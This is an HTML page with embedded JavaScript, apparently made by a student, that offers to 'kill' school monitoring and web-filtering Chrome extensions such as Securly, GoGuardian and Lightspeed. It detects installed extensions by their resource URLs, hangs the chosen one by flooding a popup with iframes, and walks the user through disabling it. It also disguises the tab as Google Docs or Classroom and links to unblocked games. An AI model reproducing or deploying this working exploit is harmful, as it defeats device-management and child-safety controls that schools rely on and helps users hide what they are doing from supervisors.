
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Varela+Round&display=swap">
<style>
          #menu {
            display: none;
            position: absolute;
            top: 50px;
            left: 50px;
            background-color: white;
            border: 1px solid #ccc;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
            border-radius: 5px;
            padding: 10px;
            z-index: 1000;
        }
        #menu button {
            display: block;
            width: 100%;
            padding: 10px;
            margin: 5px 0;
            background-color: #f0f0f0;
            border: none;
            border-radius: 3px;
            cursor: pointer;
            text-align: left;
        }
        #menu button:hover {
            background-color: #e0e0e0;
        }
    body {
      font-family: 'Varela Round', sans-serif;
      margin: 0;
      padding: 0;
      background: linear-gradient(135deg, #6a5acd, #00c3ff);
      color: #fff;
      overflow-x: hidden;
    }

    header {
      background-color: rgba(0, 0, 0, 0.8);
      color: #fff;
      padding: 20px;
      text-align: center;
      display: flex;
      align-items: center;
      justify-content: center;
      box-shadow: 0 5px 15px rgba(0, 0, 0, 0.3);
      z-index: 10;
    }

    .logo {
      width: 50px;
      height: 50px;
      margin-right: 15px;
    }

    h1 {
      font-size: 32px;
      font-weight: 700;
      text-transform: uppercase;
      letter-spacing: 2px;
    }

    .container {
      max-width: 800px;
      margin: 120px auto;
      padding: 30px;
      text-align: center;
      background: rgba(0, 0, 0, 0.6);
      border-radius: 15px;
      box-shadow: 0 15px 30px rgba(0, 0, 0, 0.4);
      animation: fadeIn 1.2s ease-in-out;
    }

    select {
      font-family: 'Varela Round', sans-serif;
      margin-bottom: 20px;
      padding: 15px;
      font-size: 18px;
      border: none;
      border-radius: 8px;
      background: rgba(255, 255, 255, 0.2);
      color: #fff;
      width: 100%;
      backdrop-filter: blur(10px);
      outline: none;
      transition: all 0.3s ease;
    }

    select:hover {
      background: rgba(255, 255, 255, 0.3);
      transform: scale(1.05);
    }

    button {
      font-family: 'Varela Round', sans-serif;
      background: linear-gradient(45deg, #ff0077, #ff6600);
      color: #fff;
      border: none;
      padding: 15px 30px;
      font-size: 18px;
      cursor: pointer;
      border-radius: 50px;
      box-shadow: 0 5px 10px rgba(0, 0, 0, 0.3);
      transition: all 0.3s ease;
    }

    button:hover {
      background: linear-gradient(45deg, #ff6600, #ff0077);
      transform: scale(1.1);
      box-shadow: 0 10px 20px rgba(0, 0, 0, 0.5);
    }

    button:active {
      background: linear-gradient(45deg, #e60050, #e65c00);
      transform: scale(1.05);
      box-shadow: 0 5px 10px rgba(0, 0, 0, 0.3);
    }

    .overlay {
      position: fixed;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      background-color: rgba(0, 0, 0, 0.8);
      display: none;
      justify-content: center;
      align-items: center;
      z-index: 9999;
      color: #fff;
      font-size: 24px;
      user-select: none;
      flex-direction: column;
    }

    .spinner {
      border: 6px solid rgba(255, 255, 255, 0.3);
      border-top: 6px solid #fff;
      border-radius: 50%;
      width: 50px;
      height: 50px;
      animation: spin 1.5s linear infinite;
      margin-bottom: 20px;
    }

    @keyframes spin {
      0% { transform: rotate(0deg); }
      100% { transform: rotate(360deg); }
    }

    footer {
      background-color: rgba(0, 0, 0, 0.9);
      color: #fff;
      text-align: center;
      padding: 15px 0;
      position: fixed;
      bottom: 0;
      width: 100%;
      font-size: 14px;
    }

    footer a {
      color: #ff6600;
      text-decoration: none;
      font-weight: 500;
    }

    footer a:hover {
      text-decoration: underline;
    }

    @media (max-width: 768px) {
      .container {
        margin-top: 50px;
        padding: 20px;
      }

      select, button {
        width: 100%;
      }

      h1 {
        font-size: 28px;
      }
    }

    @keyframes fadeIn {
      from { opacity: 0; }
      to { opacity: 1; }
    }
  </style>

    </head>
<body>

<header>
<h1 id="main-title">Extension Temp Kill and Games</h1>


</header>
<header>
      <h3 id="sub-title">Used to remove tracking extensions and to have fun (first actually working website lol)</h3>


  </header>

  <body>

    <button onclick="window.open('https://discord.gg/YpPemkwH6u', '_blank')">Join Discord</button>
    <button onclick="toggleMenu()">Change Tab Name</button>
    <button id="schoolifyButton" onclick="changeContent()">Schoolify</button>

    <script>
        function changeContent() {
            
            document.getElementById('main-title').textContent = 'Online Doc Editor';
            document.getElementById('sub-title').textContent = 'Edit your school docs online!';
                  document.getElementById('button_HYPACKEL UNBLOCKED GAMES some games work, click on the game u want and at the very bottom click Fullscreen or Glitched, like i said not all games has the fullscreen button (NOTE: i do not own Hypackel, i am just including it on this website to promote their website and get more people to use it.)').textContent = 'School Math';

                  document.getElementById('labelForIframeSelect').textContent = 'Choose the doc you want to edit';
            document.getElementById('schoolifyButton').style.display = 'none';

        }
    </script>
    <div id="menu">
        <button onclick="updateTab('Google Docs', 'https://ssl.gstatic.com/docs/documents/images/kix-favicon-2023q4.ico')">Google Docs</button>
        <button onclick="updateTab('Google Slides', 'https://ssl.gstatic.com/docs/presentations/images/favicon-2023q4.ico')">Google Slides</button>
        <button onclick="updateTab('Google Sites', 'https://ssl.gstatic.com/atari/images/public/sites-favicon-2023q4.ico')">Google Sites</button>
        <button onclick="updateTab('Google Classroom', 'https://www.gstatic.com/classroom/ic_product_classroom_144.png')">Google Classroom</button>
        <button onclick="updateTab('DeltaMath', 'https://clever-partner-images.s3.amazonaws.com/deltamath-dev-Square%20Logo%20Blue%20on%20White.jpg')">DeltaMath</button>
    </div>
    <script>
        function toggleMenu() {
            const menu = document.getElementById('menu');
            menu.style.display = menu.style.display === 'none' || menu.style.display === '' ? 'block' : 'none';
        }
        function updateTab(title, iconSrc) {
            // Update the tab title
            document.title = title;

            // Dynamically create and replace the favicon
            const head = document.head;
            let favicon = document.querySelector("link[rel='icon']");
            if (favicon) {
                head.removeChild(favicon); // Remove existing favicon
            }
            favicon = document.createElement("link");
            favicon.rel = "icon";
            favicon.href = iconSrc; // Set the new icon source
            head.appendChild(favicon); // Add the new favicon to the head

            // Hide the menu
            toggleMenu();
        }
    </script>
</body>
<div class="container">
  <label for="iframeSelect" id="labelForIframeSelect">Select extension: (This temporary kills any supported extensions until computer restart)</label>
  <select id="iframeSelect">
  </select>
  <button onclick="warning();" id="hangButton">Next</button>
  <button id="killButton" onclick="openExtensionPopup();">Next</button>
</div>

<div class="overlay" id="overlay">
  <div class="spinner"></div>
  Hanging... (This will take about 1 minute)
</div>
<div id="killExtensionText"></div>


<script>
  async function checkExtensionURL(url) {
    try {
      const response = await fetch(url);
      if (response.ok) {
        return true;
      } else {
        return false;
      }
    } catch (error) {
      return false;
    }
  }

  async function populateSelectOptions() {
    const selectElement = document.getElementById("iframeSelect");
    const extensions = {
      "Temp Remove Securly": "chrome-extension://joflmkccibkooplaeoinecjbmdebglab/fonts/Metropolis.css",
      "Temp Remove Securly (old)": "chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/fonts/Metropolis.css",
      "Temp Remove GoGuardian": "chrome-extension://haldlgldplgnggkjaafhelgiaglafanh/youtube_injection.js",
      "Temp Remove LANSchool": "chrome-extension://baleiojnjpgeojohhhfbichcodgljmnj/blocked.html",
      "Temp Remove Linewize": "chrome-extension://ddfbkhpmcdbciejenfcolaaiebnjcbfc/background/assets/pages/default-blocked.html",
      "Temp Remove Blocksi": "chrome-extension://ghlpmldmjjhmdgmneoaibbegkjjbonbk/pages/blockPage.html",
      "Temp Remove FortiGuard": "chrome-extension://igbgpehnbmhgdgjbhkkpedommgmfbeao/youtube_injection.js",
      "Temp Remove Cisco Umbrella": "chrome-extension://jcdhmojfecjfmbdpchihbeilohgnbdci/blocked.html",
      "Temp Remove ContentKeeper": "chrome-extension://jdogphakondfdmcanpapfahkdomaicfa/img/ckauth19x.png",
      "Temp Remove CK-Authenticator G3": "chrome-extension://odoanpnonilogofggaohhkdkdgbhdljp/img/ckauth19x.png",
      "Temp Remove Securly Classroom": "chrome-extension://jfbecfmiegcjddenjhlbhlikcbfmnafd/notfound.html",
      "Temp Remove Hapara": "chrome-extension://kbohafcopfpigkjdimdcdgenlhkmhbnc/blocked.html",
      "Temp Remove Hapara (new ID)": "chrome-extension://aceopacgaepdcelohobicpffbbejnfac/blocked.html",
      "Temp Remove iboss": "chrome-extension://kmffehbidlalibfeklaefnckpidbodff/restricted.html",
      "Temp Remove Lightspeed Digital Insight Agent": "chrome-extension://njdniclgegijdcdliklgieicanpmcngj/js/wasm_exec.js",
      "Temp Remove Lightspeed Filter Agent": "chrome-extension://adkcpkpghahmbopkjchobieckeoaoeem/icon-128.png",
      "Temp Remove Lightspeed Classroom": "chrome-extension://kkbmdgjggcdajckdlbngdjonpchpaiea/assets/icon-classroom-128.png",
      "Temp Remove InterCLASS Filtering Service": "chrome-extension://jbddgjglgkkneonnineaohdhabjbgopi/pages/message-page.html",
      "Temp Remove InterSafe GatewayConnection Agent": "chrome-extension://ecjoghccnjlodjlmkgmnbnkdcbnjgden/resources/options.js",
      "Temp Remove LoiLo Web Filters": "chrome-extension://pabjlbjcgldndnpjnokjakbdofjgnfia/image/allow_icon/shield_green_128x128.png",
      "Temp Remove Gopher Buddy": "chrome-extension://cgbbbjmgdpnifijconhamggjehlamcif/images/gopher-buddy_128x128_color.png",
      "Temp Remove LanSchool Web Helper": "chrome-extension://honjcnefekfnompampcpmcdadibmjhlk/blocked.html",
      "Temp Remove IMTLazarus": "chrome-extension://cgigopjakkeclhggchgnhmpmhghcbnaf/models/model.json",
      "Temp Remove Impero Backdrop": "chrome-extension://jjpmjccpemllnmgiaojaocgnakpmfgjg/licenses.html",
      "Temp Remove Mobile Guardian": "chrome-extension://fgmafhdohjkdhfaacgbgclmfgkgokgmb/block.html",
      "Temp Remove NetSupport School Student": "chrome-extension://gcjpefhffmcgplgklffgbebganmhffje/_locales/lt/messages.json",
    };
    
    let hasSupportedExtensions = false;

    for (const [name, url] of Object.entries(extensions)) {
      if (await checkExtensionURL(url)) {
        const option = document.createElement("option");
        option.value = url;
        option.textContent = name;
        selectElement.appendChild(option);
        hasSupportedExtensions = true;
      }
    }
    
    if (!hasSupportedExtensions) {
      const option = document.createElement("option");
      option.value = "";
      option.textContent = "No supported extensions installed (Either it isn't supported or ur jus seeing if it works before using on ur actual school pc)";
      selectElement.appendChild(option);
      document.getElementById("hangButton").style.display = "none";
    }
  }
 
 var games = [
  {
    name: "HYPACKEL UNBLOCKED GAMES some games work, click on the game u want and at the very bottom click Fullscreen or Glitched, like i said not all games has the fullscreen button (NOTE: i do not own Hypackel, i am just including it on this website to promote their website and get more people to use it.)",
    url: "https://d3rtzzzsiu7gdr.cloudfront.net/",
  },
];

// Dynamically generate buttons
games.forEach(function (game) {
var button = document.createElement("button");
button.textContent = game.name;
button.id = "button_" + game.name;  // Example: Creates an id based on the game name

  button.className = "button";
  button.onclick = function () {
    // Clear all content from the body
    document.body.innerHTML = "";

    // Create the object element to load the game
    var object = document.createElement("object");
    object.id = `${game.name.replace(/ /g, "")}Frame`;
    object.type = "text/html";
    object.data = game.url;
    object.style.width = "100%";
    object.style.height = "100vh";

    // Append the object to the body
    document.body.appendChild(object);
  };

  // Append the button to the body
  document.body.appendChild(button);
});

  populateSelectOptions();
  
  function replaceIframes(container, iframeSrc) {
    for (var i = 0; i < 1000; i++) {
      var iframe = document.createElement('iframe');
      iframe.src = iframeSrc;
      iframe.style.width = '100%';
      iframe.style.height = '40px';
      container.appendChild(iframe);
    }
                             
    setTimeout(function() {
      while (container.firstChild) {
        container.removeChild(container.firstChild);
      }
      replaceIframes(container, iframeSrc);
    }, 5);
  }

  function warning() {
    var overlay = document.getElementById("overlay");
    overlay.style.display = "flex";
    var iframeSelect = document.getElementById("iframeSelect");
    var selectedOption = iframeSelect.options[iframeSelect.selectedIndex].text;
    var selectedSrc = iframeSelect.value;
    var popup = window.open("", "PopupWindow", "width=100,height=100");
    var popupDocument = popup.document;
    var popupBody = popupDocument.body;
    var iframeContainer = popupDocument.createElement('div');
    iframeContainer.id = 'iframeContainer';
    popupBody.appendChild(iframeContainer);
    replaceIframes(iframeContainer, selectedSrc);
    setTimeout(function() {
      popup.close();
      var extensionId = selectedSrc.substring(selectedSrc.indexOf("//") + 2, selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2));
      var extensionURL = "chrome-extension://" + extensionId;
      var killExtensionText = document.getElementById("killExtensionText");
      killExtensionText.innerHTML = "Now that the extension <strong>" + selectedOption + "</strong> has been hanged, press the button above.";
      setTimeout(function() {
        overlay.style.display = "none";
        killExtensionText.style.display = "block";
        document.getElementById("killButton").style.display = "inline-block";
        document.getElementById("hangButton").style.display = "none";
	document.getElementById("iframeSelect").style.display = "none";
	document.getElementById("labelForIframeSelect").style.display = "none";
        document.getElementById("killButton").setAttribute("data-url", selectedSrc);
      }, 10000);
    }, 5000);
  }

  function openExtensionPopup() {
    var selectedSrc = document.getElementById("killButton").getAttribute("data-url");
    var extensionId = selectedSrc.substring(selectedSrc.indexOf("//") + 2, selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2));
    var killExtensionText = document.getElementById("killExtensionText");
    document.getElementById("killButton").style.display = "none";
    killExtensionText.innerHTML = "Make sure to keep this tab open. Then in a new tab open <strong>chrome://extensions/?id=" + extensionId + "</strong> (Or allow popups to auto open) Flip the switch called allow access to file URLs twice. The extension was successfully killed! Now you can close that tab as well as this one. If you want to restore the extension, flip the allow access to file URLs switch again.";
	const newTab = window.open("chrome://extensions/?id=" + extensionId, "_blank", "noopener,noreferrer");
	window.location.href = selectedSrc;
  }
</script>
  
</body>
</html>
 <script defer data-domain="html.cafe" src="https://milkymouse.com/js/script.js"></script>

   